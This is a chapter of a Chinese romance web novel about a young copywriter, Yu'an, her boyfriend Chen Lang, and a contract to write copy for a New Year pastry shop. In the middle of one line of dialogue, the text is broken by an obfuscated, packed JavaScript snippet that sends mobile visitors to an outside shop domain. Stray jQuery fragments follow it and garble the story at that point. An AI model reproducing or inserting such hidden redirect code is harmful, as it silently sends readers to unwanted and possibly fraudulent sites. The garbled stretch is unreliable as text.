周一早高峰,她和陈朗在地铁站台分别。他的方向先到,广播响起来的时候他没动,低头看了她一眼。
“真想就这么跟你走。”
她愣了一下,笑出来:“你不上班了?”
“上啊。”他说,语气里带了点委屈,“就是觉得周末太短了。”
车到了,门开了。他一手拉住她手腕,拇指在她腕骨内侧极轻地蹭了一下,指腹温热,带着一点粗粝的茧。
那一下像电流从腕骨直接窜进了她小臂内侧,她下意识地想缩,却被他扣得更紧了些。
身后有人绕开他们上车。
他低头看她,眼神里舍不得明晃晃的,完全没有平时那种收着的劲了。
目光从她眼睛滑到嘴唇,又慢慢落回她眼睛里,像在无声地吻她。
“不是说好周五见吗?”
“还有五天。”他放开了她的手,往后退了一步,脚尖抵着站台黄线,声音低了下去,“五天很久的。”
她笑着送他上了车。车门关上前,他隔着玻璃最后看了她一眼,嘴角微微抿着。她忽然觉得自己的手腕内侧还残留着他拇指的温度,隐隐发热。
车都看不到了之后她掏出手机,有一条他的消息:“晚上想吃什么?”
“现在想不到啊~”
“那就慢慢想!”
“想到了告诉我!”
看着接二连三的信息,予安诧异地觉得陈朗什么时候变得这么粘人了……黏得让人有点不好意思,又有点隐隐期待。
回到锦溪苑。走廊里安安静静,小刘已经出门了。冰箱门上贴了一张便签,荧光绿的便利贴,小刘的笔迹,圆滚滚的字:“卤牛肉在保鲜盒第二层,面在柜子里,自己煮!!加油~~”叹号后面还画了一个小小的笑脸。
是从她男朋友那带回来的卤牛肉,确实好吃~
予安想到两个人合租以来也就小刘没谈恋爱的时候两人都在家的时候多,之后小刘谈了恋爱,她也谈了恋爱,两人同时在家的时间就变得难能可贵了。
中午,她打开冰箱。保鲜盒第二层确实有一盒卤牛肉,切好的,整齐码着,小刘一贯的风格。旁边是自己的番茄、蛋、半根葱。再过去,一排空的搁板。
她站在冰箱前面,看了一会儿那排空搁板。周五晚上她算过的那笔账又浮了上来。
她摇了摇头,烧开了水,把面下进去,夹了几片卤牛肉码在碗底。面好了捞进去,浇一勺面汤。端着碗走到餐桌前坐下。
没有看手机。一口一口地吃。面条在筷子上缠成一卷,卤牛肉的纹理在齿间散开,酱香跟着热气一起涌上来。她想起昨天,想起陈朗,想起他手指在自己腕骨上那一下轻轻的蹭,脸上浮起红晕。
她把面吃完了,汤也喝了大半。
吃完洗了碗,坐到电脑前。
打开的专栏后台,编辑的回复还挂在对话框里:“第三段‘四季都很美’太泛了,能具体到一天吗?第一段的节奏有点急,缓一缓。”三行修改意见。每一行都说在刀口上。
她改了一遍。又改了一遍。第三遍的时候光标停在第一行,一个字都打不出来。写出来的东西和自己想写的东西之间隔着一层,她不知道怎么跨过去。手指搭在键盘上,小指冰凉,这个房间比陈朗家冷,暖气片只热了半片,她忘了开大了。
陈朗的消息适时来到:“午饭吃了吗?”
她看着那行字,眼眶忽然热了一下。回:“吃过了,你中午吃什么?”
他回得很快:“今天去食堂随便吃了点……”
“没有你一起吃饭,都食不知味了……”
“不要油嘴滑舌~”
“你知道的,我嘴不油,舌头……挺软的。”
跟陈朗打情骂俏一通后,她把手机放到一边,看着屏幕上的稿子,继续攻克难关。可那句“舌头挺软的”却像根细细的刺,一直扎在她心口,隐隐发烫。
下午门铃响了。
她站起来去开门。陆薇站在门口,左手拎着一个牛皮纸盒,右手举着手机。穿着一件藏蓝色薄大衣,戴着浅灰羊绒围巾,很有冬天的氛围。
那牛皮纸盒,只印了一行烫金字,“龙年新春”。封口贴着锦芳斋的红贴纸,边角带着一点油润的印痕。她侧身让陆薇进来。
“锦芳斋的试吃盒。”陆薇把盒子放到客厅的餐桌上,“老板让我带给你的,她说让你吃了再写!”
“麻烦你了,陆薇,下次你喊我去,我很快就能到的。”
“不麻烦,正好我在店里,我送过来了,还能来你这讨杯茶喝呀!”
“是~~欢迎来喝茶!”
“你先坐。”予安说,转身去烧水。打开柜门,最里面放着那盒炭焙乌龙。
半个巴掌大的铁盒,揭盖的瞬间,茶叶的香气安静地散出来。
她放了一撮进壶,热水冲下去。深褐色的茶叶在滚水里慢慢舒展,茶汤染成琥珀色,温润的焦糖香漫开来。
她端着两杯回到桌边,一杯放到陆薇面前。
陆薇端起来,先凑到鼻尖闻了一下。
“乌龙茶?”
“嗯。”予安在对面坐下,自己那杯也捧在手里,指尖被温热包住。“朋友上次带来的。”
陆薇喝了一口,含在嘴里慢慢咽下去。鼻腔里呼出一口气,一脸满足:“这茶,不错呀!”
她把杯子放下,从包里抽出一张A4纸,递过来。“合同,你看一眼。”
予安接过来。是锦芳斋的合作合同,两页纸,条款不多。翻到金额那一栏的时候,她的手指顿了一下。
三套文案,报价比她预想的要高。
她看着那个数字,想起之前在微信上跟老板聊的那几次,她问她有没有时间接,临近年底会不会太忙,亲切的不像是个老板。
予安把合同收起来。
“没问题~”
礼盒封口的红贴纸贴得很紧,予安用自己的指甲沿着边线划了一下,慢慢撕开。
盒盖掀开的瞬间,油润的甜香扑出来。梅花酥雪白的酥皮、蜜三刀深褐色的糖面、橘红糕裹着熟粉的米白小块,三排整整齐齐,挤挤挨挨地码着。
她先拿起一块梅花酥递给陆薇。
“尝尝。”
陆薇接过去咬了一口,嚼了两下,点头。
予安这才自己也拿了一块。
陈皮的回甘在舌尖上铺开,她嚼完咽下去,又拿了一颗橘红糕递过去。
“再试试这个。”
陆薇接过来咬了一口,含了一会儿才咽。“好吃。”她说。
予安自己也拿了一颗放进嘴里。橘皮的清香涌上鼻腔,尾调的咸把甜收住了。她没说什么,让那一口慢慢化完,然后又拈起一片蜜三刀递过去。
“还有。”
陆薇接过去咬了一口。“甜的。”她嚼了两下,“吃了心情会变好。”
予安也拿了一片。糖在舌尖上化开,她嚼完,喝了一口茶。陆薇也端起来喝了一口。
两个人就这么坐着,一块接一块地尝。茶水续了一次,热气从杯口升起来。
陆薇放下杯子的时候看了一眼窗外。光线已经开始偏了。
她站起来,穿上大衣。“加油,期待你的文案!”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17754471|207030||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
嗯。”
她走到门口又补了一句:“有事给我打电话。”
门关上之后走廊安静下来,予安把合同翻到金额那一页又看了一遍。
好多钱!
她把合同合上,重新打开编辑文档。光标在屏幕上闪了一下。
手指落上去,敲了三个字。
傍晚,手机响了一声,是静宜,静姐。
“档案室今天来了两箱旧资料。里面有一个档案袋,上面写着‘朱阿姨腌菜谱’。你要不要来看?”
又是菜谱,静姐是不是觉得我喜欢菜谱啊?
予安纳闷着,但是一想到静姐还在档案室里,她想是不是有什么内情需要她去传递啥的……
“有兴趣,静姐,我周六去,方便吗?”
静宜没回。
晚上,她终于把编辑批的第二条改完了。关掉文档的那一瞬间,肩膀才往下松了一点。
她靠进椅背,拿起手机,翻看锦芳斋的三套方案要求。
“春信”:梅花酥、桂花糕、芝麻酥,走亲访友。
“岁甜”:蜜三刀、花生糖、橘红糕,自家年货。
“守岁”:红团、年糕、萝卜酥,除夕夜。
梅花酥的酥皮在牙间裂开的细响,蜜三刀拉丝时糖浆在光下折断的瞬间,橘红糕裹着熟粉入口时那一层淡淡的凉和甜,三个完全不同的画面,三组完全不同的文字。她知道每一套该从哪里写起了。
这时,门铃响了。
她愣了一下,站起来去开门。
陈朗站在门口。身上还穿着上午上班的衣服,左手拎着超市塑料袋,冬笋从袋口露出一截。走廊的声控灯在他背后亮了,又在同一秒灭了。他身上带着一点点外面的寒气,和底下隐隐透出来的、属于他的温热。
他说:“我从菜场路过,顺手买了点菜过来。”
予安站在门框里,看着那袋冬笋在他手里晃了一下,袋底还能看见一节藕和一把芹菜。她忽然意识到自己穿的是家里的薄家居服,领口有点松,肩线也有点垮。
“不欢迎我吗?”
“不是说小别胜新婚的吗?”
他声音很低,带着一点笑,却又像故意在她耳边吹了口气。
予安羞得把他拽进了家里,动作比平时急了一些。门在身后关上的瞬间,走廊的灯又灭了。屋子里只剩下客厅那一盏暖黄的台灯。
他没立刻往前走,就那么站在玄关,低头看着她。塑料袋轻轻垂在身侧,冬笋还在晃。她能闻到他身上淡淡的皂香,混着外面带进来的冷空气,还有一点他自己的气息。
“晚上我来煮腌笃鲜。”他的声音却比刚才更轻了一点,“你去忙你的。”
可他站在那里,没有立刻进厨房。她也没有立刻让开。两个人之间只隔着半步的距离,近得她能感觉到他呼吸时胸腔的起伏。
她抬眼看他,他正看着她。目光从她眼睛慢慢往下,停在她因为刚才着急而微微敞开的领口,又很快收回来,像什么都没发生过一样。
“怎么了?”他问,声音低哑了一点。
“没什么。”她把目光移开,耳根已经热了,“你去厨房吧。”
他“嗯”了一声,终于往前走了两步。经过她身边时,手臂极轻地蹭过她的手背,像不经意,又像故意。那一下热意从手背直接窜进她心里,让她站在原地,好一会儿才回过神来。
厨房里传来水龙头打开的声音,冬笋被他洗干净,节节掰开的脆响。
她站在客厅,听着那些细碎的声响,忽然觉得这个晚上,比她预想的要漫长一点,也……更让人心慌一点。